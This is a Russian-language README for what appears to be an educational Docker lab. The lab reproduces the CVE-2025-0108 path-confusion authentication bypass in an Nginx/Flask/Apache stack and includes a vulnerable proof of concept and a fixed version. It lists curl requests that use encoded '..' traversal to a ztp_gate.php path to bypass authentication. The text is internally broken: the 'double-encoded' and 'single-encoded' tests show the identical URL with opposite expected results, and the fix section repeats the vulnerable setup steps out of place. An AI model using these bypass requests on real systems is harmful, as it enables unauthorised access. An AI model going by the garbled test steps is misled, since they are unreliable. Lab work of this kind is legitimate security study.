
Воспроизводит уязвимость путаницы путей CVE-2025-0108 в стеках Nginx/Apache. Включает уязвимый PoC и исправленную реализацию, демонстрирующую серверную защиту от обхода аутентификации с двойным кодированием.
Этот репозиторий содержит небольшую лабораторную среду для воспроизведения и устранения проблемы CVE-2025-0108 (путаница путей / контрабанда заголовков между Nginx и Apache).
Цель задания — продемонстрировать, как дважды закодированные запросы могут обходить аутентификацию в многоуровневом стеке (Nginx -> Flask бэкенд -> Apache/PHP) и показать смягчение на стороне бэкенда.
Эта среда предназначена только для образовательных целей.
CVE-2025-0108/ — уязвимая реализация (PoC)CVE-2025-0108_fix/ — исправленная реализация (бэкенд проверяет декодированный путь)CVE-2025-0108Смоделировать уязвимую конфигурацию, где дважды закодированный путь может обойти аутентификацию из-за непоследовательного декодирования путей между слоями.
Из каталога CVE-2025-0108:
cd CVE-2025-0108
docker compose up --build
Выполните следующие команды curl с вашего хоста:
Тест 1 — дважды закодированный (ожидается: HTTP 200)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Тест 2 — однократно закодированный (ожидается: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Тест 3 — сырой путь с .. (ожидается: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
Остановка сред:
docker compose down
Бэкенд выполняет дополнительную проверку декодированного пути перед разрешением доступа. Это предотвращает обход аутентификации при дважды закодированных запросах.
Из каталога CVE-2025-0108:
cd CVE-2025-0108
docker compose up --build
Выполните следующие команды curl с вашего хоста:
Из каталога CVE-2025-0108_fix:
cd CVE-2025-0108_fix
docker compose up --build
Тест 1 — дважды закодированный (ожидается: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Тест 2 — однократно закодированный (ожидается: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Тест 3 — сырой путь с .. (ожидается: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
Остановка сред:
docker compose down